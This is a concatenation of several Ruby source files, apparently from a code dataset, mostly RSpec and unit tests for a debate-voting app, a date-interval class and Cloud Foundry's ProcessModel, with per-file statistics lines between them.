let!(:comment) { Comment.create(content: "content content content content content", debate_id: debate.id) }
let!(:user) { User.create(username: "johnberry", email: "[email protected]", password: "password") }
describe "POST #create" do
context "when a user votes on a comment for the first time" do
let(:valid_params) {
{ debate_id: comment.debate_id, comment_id: comment.id, vote: { user_id: user.id, comment_id: comment.id, has_voted?: true } }
}
it "increases the vote count for the comment by one" do
expect {
post :create, valid_params
}.to change(comment.votes, :count).by(1)
end
end
# context "when a user votes on a comment for the second time" do
# let(:vote) {
# Vote.create(debate_id: comment.debate_id, comment_id: comment.id, vote: { user_id: user.id, comment_id: comment.id, has_voted?: true })
# }
# let(:valid_params) {
# { debate_id: comment.debate_id, comment_id: comment.id, vote: { user_id: user.id, comment_id: comment.id, has_voted?: true } }
# }
# it "does not increase the vote count for the comment" do
# expect {
# post :create, valid_params
# }.to change(comment.votes, :count).by(0)
# end
# end
end
end
| 40.428571 | 145 | 0.635336 |
4a83f82f3c5dbfcdd01b73f973b3ebd9ee1f2e22 | 1,395 | #!/usr/bin/env ruby
require 'baseexpressiontest'
# Unit tests for DayIntervalTE class
# Author:: Matthew Lipper
class DayIntervalTETest < BaseExpressionTest
def test_every_8_days
date = @date_20040116
# Match every 8 days
expr = DayIntervalTE.new(date, 8)
assert expr.include?(date + 8), "Expression #{expr.to_s} should include #{(date + 8).to_s}"
assert expr.include?(date + 16), "Expression #{expr.to_s} should include #{(date + 16).to_s}"
assert expr.include?(date + 64), "Expression #{expr.to_s} should include #{(date + 64).to_s}"
assert !expr.include?(date + 4), "Expression #{expr.to_s} should not include #{(date + 4).to_s}"
# FIXME This test fails
#assert !expr.include?(date - 8), "Expression #{expr.to_s} should not include #{(date - 8).to_s}"
end
def test_every_2_days
date = @datetime_200709161007
expr = DayIntervalTE.new(date, 2)
assert expr.include?(date + 2), "Expression #{expr.to_s} should include #{(date + 2).to_s}"
assert expr.include?(date + 4), "Expression #{expr.to_s} should include #{(date + 4).to_s}"
assert !expr.include?(date + 3), "Expression #{expr.to_s} should not include #{(date + 3).to_s}"
end
def test_to_s
every_four_days = DayIntervalTE.new(Date.new(2006,2,26), 4)
assert_equal "every 4th day after #{Runt.format_date(Date.new(2006,2,26))}", every_four_days.to_s
end
end
| 36.710526 | 101 | 0.678853 |
d5b505e86c2b63454c68b8c268e992b3fbfa4b87 | 141 | require 'test_helper'
class IncovicesControllerTest < ActionDispatch::IntegrationTest
# test "the truth" do
# assert true
# end
end
| 17.625 | 63 | 0.744681 |
bff164cfbb5975d38e5c781c39c8ff6043fd5d65 | 123 | module Kernel
def raise
puts 'override raise!!'
end
end
begin
raise
puts 'Am I dead?'
rescue RuntimeError
end
| 10.25 | 27 | 0.691057 |
03c87772ac36f2fe96938986b01724d8f2f6ee39 | 668 | require "active_support/configurable"
module EA
module AddressLookup
class Configuration
include ActiveSupport::Configurable
config_accessor(:address_facade_server)
config_accessor(:address_facade_port)
config_accessor(:address_facade_url)
config_accessor(:address_facade_client_id)
config_accessor(:address_facade_key)
config_accessor(:timeout_in_seconds) { 5 }
config_accessor(:default_adapter) { :address_facade }
end
def self.config
@config ||= Configuration.new
end
def self.configure
yield config
end
def self.reset
@config = Configuration.new
end
end
end
| 23.034483 | 59 | 0.714072 |
91806e3f7ebbc8ce04f5df7218da41e9308e8415 | 60,101 | require 'spec_helper'
module VCAP::CloudController
RSpec.describe ProcessModel, type: :model do
let(:org) { Organization.make }
let(:space) { Space.make(organization: org) }
let(:parent_app) { AppModel.make(space: space) }
let(:domain) { PrivateDomain.make(owning_organization: org) }
let(:route) { Route.make(domain: domain, space: space) }
def enable_custom_buildpacks
TestConfig.override({ disable_custom_buildpacks: nil })
end
def disable_custom_buildpacks
TestConfig.override({ disable_custom_buildpacks: true })
end
def expect_validator(validator_class)
expect(subject.validation_policies).to include(an_instance_of(validator_class))
end
def expect_no_validator(validator_class)
matching_validator = subject.validation_policies.select { |validator| validator.is_a?(validator_class) }
expect(matching_validator).to be_empty
end
before do
VCAP::CloudController::Seeds.create_seed_stacks
end
describe 'Creation' do
subject(:process) { ProcessModel.new }
it 'has a default instances' do
schema_default = ProcessModel.db_schema[:instances][:default].to_i
expect(process.instances).to eq(schema_default)
end
it 'has a default memory' do
TestConfig.override(default_app_memory: 873565)
expect(process.memory).to eq(873565)
end
context 'has custom ports' do
subject(:process) { ProcessModel.make(ports: [8081, 8082]) }
it 'return an app with custom port configuration' do
expect(process.ports).to eq([8081, 8082])
end
end
end
describe 'Associations' do
it { is_expected.to have_timestamp_columns }
it { is_expected.to have_associated :events, class: AppEvent }
it 'has service_bindings through the parent app' do
process = ProcessModelFactory.make(type: 'potato')
binding1 = ServiceBinding.make(app: process.app, service_instance: ManagedServiceInstance.make(space: process.space))
binding2 = ServiceBinding.make(app: process.app, service_instance: ManagedServiceInstance.make(space: process.space))
expect(process.reload.service_bindings).to match_array([binding1, binding2])
end
it 'has route_mappings' do
process = ProcessModelFactory.make
route1 = Route.make(space: process.space)
route2 = Route.make(space: process.space)
mapping1 = RouteMappingModel.make(app: process.app, route: route1, process_type: process.type)
mapping2 = RouteMappingModel.make(app: process.app, route: route2, process_type: process.type)
expect(process.reload.route_mappings).to match_array([mapping1, mapping2])
end
it 'has routes through route_mappings' do
process = ProcessModelFactory.make
route1 = Route.make(space: process.space)
route2 = Route.make(space: process.space)
RouteMappingModel.make(app: process.app, route: route1, process_type: process.type)
RouteMappingModel.make(app: process.app, route: route2, process_type: process.type)
expect(process.reload.routes).to match_array([route1, route2])
end
it 'has a desired_droplet from the parent app' do
parent_app = AppModel.make
droplet = DropletModel.make(app: parent_app, state: DropletModel::STAGED_STATE)
parent_app.update(droplet: droplet)
process = ProcessModel.make(app: parent_app)
expect(process.desired_droplet).to eq(parent_app.droplet)
end
it 'has a space from the parent app' do
parent_app = AppModel.make(space: space)
process = ProcessModel.make
expect(process.space).not_to eq(space)
process.update(app: parent_app)
expect(process.reload.space).to eq(space)
end
it 'has an organization from the parent app' do
parent_app = AppModel.make(space: space)
process = ProcessModel.make
expect(process.organization).not_to eq(org)
process.update(app: parent_app).reload
expect(process.organization).to eq(org)
end
it 'has a stack from the parent app' do
stack = Stack.make
parent_app = AppModel.make(space: space)
parent_app.lifecycle_data.update(stack: stack.name)
process = ProcessModel.make
expect(process.stack).not_to eq(stack)
process.update(app: parent_app).reload
expect(process.stack).to eq(stack)
end
context 'when an app has multiple ports bound to the same route' do
subject(:process) { ProcessModelFactory.make(diego: true, ports: [8080, 9090]) }
let(:route) { Route.make(host: 'host2', space: process.space, path: '/my%20path') }
let!(:route_mapping1) { RouteMappingModel.make(app: process.app, route: route, app_port: 8080) }
let!(:route_mapping2) { RouteMappingModel.make(app: process.app, route: route, app_port: 9090) }
it 'returns a single associated route' do
expect(process.routes.size).to eq 1
end
end
context 'with sidecars' do
let(:process) { ProcessModelFactory.make }
let(:sidecar1) { SidecarModel.make(app: process.app) }
let(:sidecar2) { SidecarModel.make(app: process.app) }
let(:other_sidecar) { SidecarModel.make(app: process.app) }
before :each do
SidecarProcessTypeModel.make(sidecar: sidecar1, type: process.type)
SidecarProcessTypeModel.make(sidecar: sidecar2, type: process.type)
SidecarProcessTypeModel.make(sidecar: other_sidecar, type: 'worker')
end
it 'has sidecars' do
expect(process.reload.sidecars).to match_array([sidecar1, sidecar2])
end
context 'when process has less memory than sidecars' do
let(:process) { ProcessModelFactory.make(memory: 500) }
let(:sidecar1) { SidecarModel.make(app: process.app, memory: 400) }
it 'is invalid' do
expect { process.update(memory: 300) }.to raise_error Sequel::ValidationFailed
end
end
end
end
describe 'Validations' do
subject(:process) { ProcessModel.new }
it { is_expected.to validate_presence :app }
it 'includes validator policies' do
expect_validator(InstancesPolicy)
expect_validator(MaxDiskQuotaPolicy)
expect_validator(MinDiskQuotaPolicy)
expect_validator(MinMemoryPolicy)
expect_validator(AppMaxInstanceMemoryPolicy)
expect_validator(InstancesPolicy)
expect_validator(HealthCheckPolicy)
expect_validator(DockerPolicy)
end
describe 'org and space quota validator policies' do
subject(:process) { ProcessModelFactory.make(app: parent_app) }
let(:org) { Organization.make }
let(:space) { Space.make(organization: org, space_quota_definition: SpaceQuotaDefinition.make(organization: org)) }
it 'validates org and space using MaxMemoryPolicy' do
max_memory_policies = process.validation_policies.select { |policy| policy.instance_of? AppMaxMemoryPolicy }
expect(max_memory_policies.length).to eq(2)
end
it 'validates org and space using MaxInstanceMemoryPolicy' do
max_instance_memory_policies = process.validation_policies.select { |policy| policy.instance_of? AppMaxInstanceMemoryPolicy }
expect(max_instance_memory_policies.length).to eq(2)
end
it 'validates org and space using MaxAppInstancesPolicy' do
max_app_instances_policy = process.validation_policies.select { |policy| policy.instance_of? MaxAppInstancesPolicy }
expect(max_app_instances_policy.length).to eq(2)
targets = max_app_instances_policy.collect(&:quota_definition)
expect(targets).to match_array([org.quota_definition, space.space_quota_definition])
end
end
describe 'buildpack' do
subject(:process) { ProcessModel.make }
it 'allows nil value' do
process.app.lifecycle_data.update(buildpacks: nil)
expect {
process.save
}.to_not raise_error
expect(process.buildpack).to eq(AutoDetectionBuildpack.new)
end
it 'allows a public url' do
process.app.lifecycle_data.update(buildpacks: ['git://[email protected]/repo.git'])
expect {
process.save
}.to_not raise_error
expect(process.buildpack).to eq(CustomBuildpack.new('git://[email protected]/repo.git'))
end
it 'allows a public http url' do
process.app.lifecycle_data.update(buildpacks: ['http://example.com/foo'])
expect {
process.save
}.to_not raise_error
expect(process.buildpack).to eq(CustomBuildpack.new('http://example.com/foo'))
end
it 'allows a buildpack name' do
admin_buildpack = Buildpack.make
process.app.lifecycle_data.update(buildpacks: [admin_buildpack.name])
expect {
process.save
}.to_not raise_error
expect(process.buildpack).to eql(admin_buildpack)
end
it 'does not allow a non-url string' do
process.app.lifecycle_data.buildpacks = ['Hello, world!']
expect {
process.save
}.to raise_error(Sequel::ValidationFailed, /Specified unknown buildpack name: "Hello, world!"/)
end
end
describe 'disk_quota' do
subject(:process) { ProcessModelFactory.make }
it 'allows any disk_quota below the maximum' do
process.disk_quota = 1000
expect(process).to be_valid
end
it 'does not allow a disk_quota above the maximum' do
process.disk_quota = 3000
expect(process).to_not be_valid
expect(process.errors.on(:disk_quota)).to be_present
end
it 'does not allow a disk_quota greater than maximum' do
process.disk_quota = 4096
expect(process).to_not be_valid
expect(process.errors.on(:disk_quota)).to be_present
end
end
describe 'health_check_http_endpoint' do
subject(:process) { ProcessModelFactory.make }
it 'can be set to the root path' do
process.health_check_type = 'http'
process.health_check_http_endpoint = '/'
expect(process).to be_valid
end
it 'can be set to a valid uri path' do
process.health_check_type = 'http'
process.health_check_http_endpoint = '/v2'
expect(process).to be_valid
end
it 'needs a uri path' do
process.health_check_type = 'http'
expect(process).to_not be_valid
expect(process.errors.on(:health_check_http_endpoint)).to be_present
end
it 'cannot be set to a relative path' do
process.health_check_type = 'http'
process.health_check_http_endpoint = 'relative/path'
expect(process).to_not be_valid
expect(process.errors.on(:health_check_http_endpoint)).to be_present
end
it 'cannot be set to an empty string' do
process.health_check_type = 'http'
process.health_check_http_endpoint = ' '
expect(process).to_not be_valid
expect(process.errors.on(:health_check_http_endpoint)).to be_present
end
end
describe 'health_check_invocation_timeout' do
subject(:process) { ProcessModelFactory.make }
it 'can be set for http health checks' do
process.health_check_type = 'http'
process.health_check_http_endpoint = '/'
process.health_check_invocation_timeout = 5
expect(process).to be_valid
end
it 'must be a postive integer' do
process.health_check_type = 'http'
process.health_check_http_endpoint = '/'
process.health_check_invocation_timeout = -13.5
expect(process).not_to be_valid
end
end
describe 'health_check_type' do
subject(:process) { ProcessModelFactory.make }
it "defaults to 'port'" do
expect(process.health_check_type).to eq('port')
end
it "can be set to 'none'" do
process.health_check_type = 'none'
expect(process).to be_valid
end
it "can be set to 'process'" do
process.health_check_type = 'process'
expect(process).to be_valid
end
it "can not be set to 'bogus'" do
process.health_check_type = 'bogus'
expect(process).to_not be_valid
expect(process.errors.on(:health_check_type)).to be_present
end
end
describe 'instances' do
subject(:process) { ProcessModelFactory.make }
it 'does not allow negative instances' do
process.instances = -1
expect(process).to_not be_valid
expect(process.errors.on(:instances)).to be_present
end
end
describe 'metadata' do
subject(:process) { ProcessModelFactory.make }
it 'defaults to an empty hash' do
expect(ProcessModel.new.metadata).to eql({})
end
it 'can be set and retrieved' do
process.metadata = {}
expect(process.metadata).to eql({})
end
it 'should save direct updates to the metadata' do
expect(process.metadata).to eq({})
process.metadata['some_key'] = 'some val'
expect(process.metadata['some_key']).to eq('some val')
process.save
expect(process.metadata['some_key']).to eq('some val')
process.refresh
expect(process.metadata['some_key']).to eq('some val')
end
end
describe 'quota' do
subject(:process) { ProcessModelFactory.make }
let(:quota) do
QuotaDefinition.make(memory_limit: 128)
end
let(:space_quota) do
SpaceQuotaDefinition.make(memory_limit: 128, organization: org)
end
context 'app update' do
def act_as_cf_admin
allow(VCAP::CloudController::SecurityContext).to receive_messages(admin?: true)
yield
ensure
allow(VCAP::CloudController::SecurityContext).to receive(:admin?).and_call_original
end
let(:org) { Organization.make(quota_definition: quota) }
let(:space) { Space.make(name: 'hi', organization: org, space_quota_definition: space_quota) }
let(:parent_app) { AppModel.make(space: space) }
subject!(:process) { ProcessModelFactory.make(app: parent_app, memory: 64, instances: 2, state: 'STARTED') }
it 'should raise error when quota is exceeded' do
process.memory = 65
expect { process.save }.to raise_error(/quota_exceeded/)
end
it 'should not raise error when quota is not exceeded' do
process.memory = 63
expect { process.save }.to_not raise_error
end
it 'can delete an app that somehow has exceeded its memory quota' do
quota.memory_limit = 32
quota.save
process.memory = 100
process.save(validate: false)
expect(process.reload).to_not be_valid
expect { process.delete }.not_to raise_error
end
it 'allows scaling down instances of an app from above quota to below quota' do
org.quota_definition = QuotaDefinition.make(memory_limit: 72)
act_as_cf_admin { org.save }
expect(process.reload).to_not be_valid
process.instances = 1
process.save
expect(process.reload).to be_valid
expect(process.instances).to eq(1)
end
it 'should raise error when instance quota is exceeded' do
quota.app_instance_limit = 4
quota.memory_limit = 512
quota.save
process.instances = 5
expect { process.save }.to raise_error(/instance_limit_exceeded/)
end
it 'should raise error when space instance quota is exceeded' do
space_quota.app_instance_limit = 4
space_quota.memory_limit = 512
space_quota.save
quota.memory_limit = 512
quota.save
process.instances = 5
expect { process.save }.to raise_error(/instance_limit_exceeded/)
end
it 'raises when scaling down number of instances but remaining above quota' do
org.quota_definition = QuotaDefinition.make(memory_limit: 32)
act_as_cf_admin { org.save }
process.reload
process.instances = 1
expect { process.save }.to raise_error(Sequel::ValidationFailed, /quota_exceeded/)
process.reload
expect(process.instances).to eq(2)
end
it 'allows stopping an app that is above quota' do
org.quota_definition = QuotaDefinition.make(memory_limit: 72)
act_as_cf_admin { org.save }
expect(process.reload).to be_started
process.state = 'STOPPED'
process.save
expect(process).to be_stopped
end
it 'allows reducing memory from above quota to at/below quota' do
org.quota_definition = QuotaDefinition.make(memory_limit: 64)
act_as_cf_admin { org.save }
process.memory = 40
expect { process.save }.to raise_error(Sequel::ValidationFailed, /quota_exceeded/)
process.memory = 32
process.save
expect(process.memory).to eq(32)
end
end
end
describe 'ports and health check type' do
subject(:process) { ProcessModelFactory.make }
describe 'health check type is not "ports"' do
before do
process.health_check_type = 'process'
end
it 'allows empty ports' do
process.ports = []
expect { process.save }.to_not raise_error
end
end
describe 'health check type is "port"' do
before do
process.health_check_type = 'port'
end
it 'disallows empty ports' do
process.ports = []
expect { process.save }.to raise_error(/ports array/)
end
end
describe 'health check type is not specified' do
it 'disallows empty ports' do
process = ProcessModel.new(ports: [], app: parent_app)
expect { process.save }.to raise_error(/ports array/)
end
end
end
end
describe 'Serialization' do
it {
is_expected.to export_attributes(
:enable_ssh,
:buildpack,
:command,
:console,
:debug,
:detected_buildpack,
:detected_buildpack_guid,
:detected_start_command,
:diego,
:disk_quota,
:docker_image,
:environment_json,
:health_check_http_endpoint,
:health_check_timeout,
:health_check_type,
:instances,
:memory,
:name,
:package_state,
:package_updated_at,
:production,
:space_guid,
:stack_guid,
:staging_failed_reason,
:staging_failed_description,
:staging_task_id,
:state,
:version,
:ports
)
}
it {
is_expected.to import_attributes(
:enable_ssh,
:app_guid,
:buildpack,
:command,
:console,
:debug,
:detected_buildpack,
:diego,
:disk_quota,
:docker_image,
:environment_json,
:health_check_http_endpoint,
:health_check_timeout,
:health_check_type,
:instances,
:memory,
:name,
:production,
:route_guids,
:service_binding_guids,
:space_guid,
:stack_guid,
:staging_task_id,
:state,
:ports
)
}
end
describe '#in_suspended_org?' do
subject(:process) { ProcessModel.make }
context 'when in a space in a suspended organization' do
before { process.organization.update(status: 'suspended') }
it 'is true' do
expect(process).to be_in_suspended_org
end
end
context 'when in a space in an unsuspended organization' do
before { process.organization.update(status: 'active') }
it 'is false' do
expect(process).not_to be_in_suspended_org
end
end
end
describe '#stack' do
it 'gets stack from the parent app' do
desired_stack = Stack.make
process = ProcessModel.make
expect(process.stack).not_to eq(desired_stack)
process.app.lifecycle_data.update(stack: desired_stack.name)
expect(process.reload.stack).to eq(desired_stack)
end
it 'returns the default stack when the parent app does not have a stack' do
process = ProcessModel.make
expect(process.stack).not_to eq(Stack.default)
process.app.lifecycle_data.update(stack: nil)
expect(process.reload.stack).to eq(Stack.default)
end
end
describe '#execution_metadata' do
let(:parent_app) { AppModel.make }
subject(:process) { ProcessModel.make(app: parent_app) }
context 'when the app has a droplet' do
let(:droplet) do
DropletModel.make(
app: parent_app,
execution_metadata: 'some-other-metadata',
state: VCAP::CloudController::DropletModel::STAGED_STATE
)
end
before do
parent_app.update(droplet: droplet)
end
it "returns that droplet's staging metadata" do
expect(process.execution_metadata).to eq(droplet.execution_metadata)
end
end
context 'when the app does not have a droplet' do
it 'returns empty string' do
expect(process.desired_droplet).to be_nil
expect(process.execution_metadata).to eq('')
end
end
end
describe '#specified_or_detected_command' do
subject(:process) { ProcessModelFactory.make }
before do
process.desired_droplet.update(process_types: { web: 'detected-start-command' })
end
context 'when the process has a command' do
before do
process.update(command: 'user-specified')
end
it 'uses the command on the process' do
expect(process.specified_or_detected_command).to eq('user-specified')
end
end
context 'when the process does not have a command' do
before do
process.update(command: nil)
end
it 'returns the detected start command' do
expect(process.specified_or_detected_command).to eq('detected-start-command')
end
end
end
describe '#detected_start_command' do
subject(:process) { ProcessModelFactory.make(type: type) }
let(:type) { 'web' }
context 'when the process has a desired droplet with a web process' do
before do
process.desired_droplet.update(process_types: { web: 'run-my-app' })
process.reload
end
it 'returns the web process type command from the droplet' do
expect(process.detected_start_command).to eq('run-my-app')
end
end
context 'when the process does not have a desired droplet' do
before do
process.desired_droplet.destroy
process.reload
end
it 'returns the empty string' do
expect(process.desired_droplet).to be_nil
expect(process.detected_start_command).to eq('')
end
end
end
describe '#environment_json' do
let(:parent_app) { AppModel.make(environment_variables: { 'key' => 'value' }) }
let!(:process) { ProcessModel.make(app: parent_app) }
it 'returns the parent app environment_variables' do
expect(process.environment_json).to eq({ 'key' => 'value' })
end
context 'when revisions are enabled and we have a revision' do
let!(:revision) { RevisionModel.make(app: parent_app, environment_variables: { 'key' => 'value2' }) }
before do
parent_app.update(revisions_enabled: true)
process.update(revision: revision)
end
it 'returns the environment variables from the revision' do
expect(process.environment_json).to eq({ 'key' => 'value2' })
end
end
end
describe '#database_uri' do
let(:parent_app) { AppModel.make(environment_variables: { 'jesse' => 'awesome' }, space: space) }
subject(:process) { ProcessModel.make(app: parent_app) }
context 'when there are database-like services' do
before do
sql_service_plan = ServicePlan.make(service: Service.make(label: 'elephantsql-n/a'))
sql_service_instance = ManagedServiceInstance.make(space: space, service_plan: sql_service_plan, name: 'elephantsql-vip-uat')
ServiceBinding.make(app: parent_app, service_instance: sql_service_instance, credentials: { 'uri' => 'mysql://foo.com' })
banana_service_plan = ServicePlan.make(service: Service.make(label: 'chiquita-n/a'))
banana_service_instance = ManagedServiceInstance.make(space: space, service_plan: banana_service_plan, name: 'chiqiuta-yummy')
ServiceBinding.make(app: parent_app, service_instance: banana_service_instance, credentials: { 'uri' => 'banana://yum.com' })
end
it 'returns database uri' do
expect(process.reload.database_uri).to eq('mysql2://foo.com')
end
end
context 'when there are non-database-like services' do
before do
banana_service_plan = ServicePlan.make(service: Service.make(label: 'chiquita-n/a'))
banana_service_instance = ManagedServiceInstance.make(space: space, service_plan: banana_service_plan, name: 'chiqiuta-yummy')
ServiceBinding.make(app: parent_app, service_instance: banana_service_instance, credentials: { 'uri' => 'banana://yum.com' })
uncredentialed_service_plan = ServicePlan.make(service: Service.make(label: 'mysterious-n/a'))
uncredentialed_service_instance = ManagedServiceInstance.make(space: space, service_plan: uncredentialed_service_plan, name: 'mysterious-mystery')
ServiceBinding.make(app: parent_app, service_instance: uncredentialed_service_instance, credentials: {})
end
it 'returns nil' do
expect(process.reload.database_uri).to be_nil
end
end
context 'when there are no services' do
it 'returns nil' do
expect(process.reload.database_uri).to be_nil
end
end
context 'when the service binding credentials is nil' do
before do
banana_service_plan = ServicePlan.make(service: Service.make(label: 'chiquita-n/a'))
banana_service_instance = ManagedServiceInstance.make(space: space, service_plan: banana_service_plan, name: 'chiqiuta-yummy')
ServiceBinding.make(app: parent_app, service_instance: banana_service_instance, credentials: nil)
end
it 'returns nil' do
expect(process.reload.database_uri).to be_nil
end
end
end
describe 'metadata' do
it 'deserializes the serialized value' do
process = ProcessModelFactory.make(
metadata: { 'jesse' => 'super awesome' },
)
expect(process.metadata).to eq('jesse' => 'super awesome')
end
end
describe 'command' do
it 'saves the field as nil when set to nil' do
process = ProcessModelFactory.make(command: 'echo hi')
process.command = nil
process.save
process.refresh
expect(process.command).to eq(nil)
end
it 'does not fall back to metadata value if command is not present' do
process = ProcessModelFactory.make(metadata: { command: 'echo hi' })
process.command = nil
process.save
process.refresh
expect(process.command).to be_nil
end
end
describe 'console' do
it 'stores the command in the metadata' do
process = ProcessModelFactory.make(console: true)
expect(process.metadata).to eq('console' => true)
process.save
expect(process.metadata).to eq('console' => true)
process.refresh
expect(process.metadata).to eq('console' => true)
end
it 'returns true if console was set to true' do
process = ProcessModelFactory.make(console: true)
expect(process.console).to eq(true)
end
it 'returns false if console was set to false' do
process = ProcessModelFactory.make(console: false)
expect(process.console).to eq(false)
end
it 'returns false if console was not set' do
process = ProcessModelFactory.make
expect(process.console).to eq(false)
end
end
describe 'debug' do
it 'stores the command in the metadata' do
process = ProcessModelFactory.make(debug: 'suspend')
expect(process.metadata).to eq('debug' => 'suspend')
process.save
expect(process.metadata).to eq('debug' => 'suspend')
process.refresh
expect(process.metadata).to eq('debug' => 'suspend')
end
it 'returns nil if debug was explicitly set to nil' do
process = ProcessModelFactory.make(debug: nil)
expect(process.debug).to be_nil
end
it 'returns nil if debug was not set' do
process = ProcessModelFactory.make
expect(process.debug).to be_nil
end
end
describe 'custom_buildpack_url' do
subject(:process) { ProcessModel.make(app: parent_app) }
context 'when a custom buildpack is associated with the app' do
it 'should be the custom url' do
process.app.lifecycle_data.update(buildpacks: ['https://example.com/repo.git'])
expect(process.custom_buildpack_url).to eq('https://example.com/repo.git')
end
end
context 'when an admin buildpack is associated with the app' do
it 'should be nil' do
process.app.lifecycle_data.update(buildpacks: [Buildpack.make.name])
expect(process.custom_buildpack_url).to be_nil
end
end
context 'when no buildpack is associated with the app' do
it 'should be nil' do
expect(ProcessModel.make.custom_buildpack_url).to be_nil
end
end
end
describe 'health_check_timeout' do
before do
TestConfig.override({ maximum_health_check_timeout: 512 })
end
context 'when the health_check_timeout was not specified' do
it 'should use nil as health_check_timeout' do
process = ProcessModelFactory.make
expect(process.health_check_timeout).to eq(nil)
end
it 'should not raise error if value is nil' do
expect {
ProcessModelFactory.make(health_check_timeout: nil)
}.to_not raise_error
end
end
context 'when a valid health_check_timeout is specified' do
it 'should use that value' do
process = ProcessModelFactory.make(health_check_timeout: 256)
expect(process.health_check_timeout).to eq(256)
end
end
end
describe '#actual_droplet' do
let(:first_droplet) { DropletModel.make(app: parent_app, state: DropletModel::STAGED_STATE) }
let(:second_droplet) { DropletModel.make(app: parent_app, state: DropletModel::STAGED_STATE) }
let(:revision) { RevisionModel.make(app: parent_app, droplet_guid: first_droplet.guid) }
let(:process) { ProcessModel.make(app: parent_app, revision: revision) }
before do
first_droplet
parent_app.update(droplet_guid: second_droplet.guid)
end
context 'when revisions are disabled' do
it 'returns desired_droplet' do
expect(process.actual_droplet).to eq(second_droplet)
expect(process.actual_droplet).to eq(process.latest_droplet)
expect(process.actual_droplet).to eq(process.desired_droplet)
end
end
context 'when revisions are present and enabled' do
let(:parent_app) { AppModel.make(space: space, revisions_enabled: true) }
it 'returns the droplet from the latest revision' do
expect(process.actual_droplet).to eq(first_droplet)
expect(process.actual_droplet).to eq(process.revision.droplet)
expect(process.actual_droplet).not_to eq(process.latest_droplet)
end
end
end
describe 'staged?' do
subject(:process) { ProcessModelFactory.make }
it 'should return true if package_state is STAGED' do
expect(process.package_state).to eq('STAGED')
expect(process.staged?).to be true
end
it 'should return false if package_state is PENDING' do
PackageModel.make(app: process.app)
process.reload
expect(process.package_state).to eq('PENDING')
expect(process.staged?).to be false
end
end
describe 'pending?' do
subject(:process) { ProcessModelFactory.make }
it 'should return true if package_state is PENDING' do
PackageModel.make(app: process.app)
process.reload
expect(process.package_state).to eq('PENDING')
expect(process.pending?).to be true
end
it 'should return false if package_state is not PENDING' do
expect(process.package_state).to eq('STAGED')
expect(process.pending?).to be false
end
end
describe 'staging?' do
subject(:process) { ProcessModelFactory.make }
it 'should return true if the latest_build is STAGING' do
BuildModel.make(app: process.app, package: process.latest_package, state: BuildModel::STAGING_STATE)
expect(process.reload.staging?).to be true
end
it 'should return false if a new package has been uploaded but a droplet has not been created for it' do
PackageModel.make(app: process.app)
process.reload
expect(process.staging?).to be false
end
it 'should return false if the latest_droplet is not STAGING' do
DropletModel.make(app: process.app, package: process.latest_package, state: DropletModel::STAGED_STATE)
process.reload
expect(process.staging?).to be false
end
end
describe 'failed?' do
subject(:process) { ProcessModelFactory.make }
it 'should return true if the latest_build is FAILED' do
process.latest_build.update(state: BuildModel::FAILED_STATE)
process.reload
expect(process.package_state).to eq('FAILED')
expect(process.staging_failed?).to be true
end
it 'should return false if latest_build is not FAILED' do
process.latest_build.update(state: BuildModel::STAGED_STATE)
process.reload
expect(process.package_state).to eq('STAGED')
expect(process.staging_failed?).to be false
end
end
describe '#latest_build' do
let!(:process) { ProcessModel.make app: parent_app }
let!(:build1) { BuildModel.make(app: parent_app, state: BuildModel::STAGED_STATE) }
let!(:build2) { BuildModel.make(app: parent_app, state: BuildModel::STAGED_STATE) }
it 'should return the most recently created build' do
expect(process.latest_build).to eq build2
end
end
describe '#package_state' do
let(:parent_app) { AppModel.make }
subject(:process) { ProcessModel.make(app: parent_app) }
it 'calculates the package state' do
expect(process.latest_package).to be_nil
expect(process.reload.package_state).to eq('PENDING')
end
end
describe 'needs_staging?' do
subject(:process) { ProcessModelFactory.make }
context 'when the app is started' do
before do
process.update(state: 'STARTED', instances: 1)
end
it 'should return false if the package_hash is nil' do
process.latest_package.update(package_hash: nil)
expect(process.needs_staging?).to be_falsey
end
it 'should return true if PENDING is set' do
PackageModel.make(app: process.app, package_hash: 'hash')
expect(process.reload.needs_staging?).to be true
end
it 'should return false if STAGING is set' do
DropletModel.make(app: process.app, package: process.latest_package, state: DropletModel::STAGING_STATE)
expect(process.needs_staging?).to be false
end
end
context 'when the app is not started' do
before do
process.state = 'STOPPED'
end
it 'should return false' do
expect(process).not_to be_needs_staging
end
end
end
describe 'started?' do
subject(:process) { ProcessModelFactory.make }
it 'should return true if app is STARTED' do
process.state = 'STARTED'
expect(process.started?).to be true
end
it 'should return false if app is STOPPED' do
process.state = 'STOPPED'
expect(process.started?).to be false
end
end
describe 'stopped?' do
subject(:process) { ProcessModelFactory.make }
it 'should return true if app is STOPPED' do
process.state = 'STOPPED'
expect(process.stopped?).to be true
end
it 'should return false if app is STARTED' do
process.state = 'STARTED'
expect(process.stopped?).to be false
end
end
describe 'web?' do
context 'when the process type is web' do
it 'returns true' do
expect(ProcessModel.make(type: 'web').web?).to be true
end
end
context 'when the process type is NOT web' do
it 'returns false' do
expect(ProcessModel.make(type: 'Bieber').web?).to be false
end
end
end
describe 'version' do
subject(:process) { ProcessModelFactory.make }
it 'should have a version on create' do
expect(process.version).not_to be_nil
end
it 'should update the version when changing :state' do
process.state = 'STARTED'
expect { process.save }.to change(process, :version)
end
it 'should update the version on update of :state' do
expect { process.update(state: 'STARTED') }.to change(process, :version)
end
context 'for a started app' do
before { process.update(state: 'STARTED') }
context 'when lazily backfilling default port values' do
before do
# Need to get the app in a state where diego is true but ports are
# nil. This would only occur on deployments that existed before we
# added the default port value.
default_ports = VCAP::CloudController::ProcessModel::DEFAULT_PORTS
stub_const('VCAP::CloudController::ProcessModel::DEFAULT_PORTS', nil)
process.update(diego: true)
stub_const('VCAP::CloudController::ProcessModel::DEFAULT_PORTS', default_ports)
end
context 'when changing fields that do not update the version' do
it 'does not update the version' do
process.instances = 3
expect {
process.save
process.reload
}.not_to change { process.version }
end
end
context 'when changing a fields that updates the version' do
it 'updates the version' do
process.memory = 17
expect {
process.save
process.reload
}.to change { process.version }
end
end
context 'when the user updates the port' do
it 'updates the version' do
process.ports = [1753]
expect {
process.save
process.reload
}.to change { process.version }
end
end
end
it 'should not update the version when its been asked not to' do
process.memory = 2048
process.skip_process_version_update = true
expect { process.save }.not_to change(process, :version)
end
it 'should update the version when changing :memory' do
process.memory = 2048
expect { process.save }.to change(process, :version)
end
it 'should update the version on update of :memory' do
expect { process.update(memory: 999) }.to change(process, :version)
end
it 'should update the version when changing :health_check_type' do
process.health_check_type = 'none'
expect { process.save }.to change(process, :version)
end
it 'should not update the version when changing :instances' do
process.instances = 8
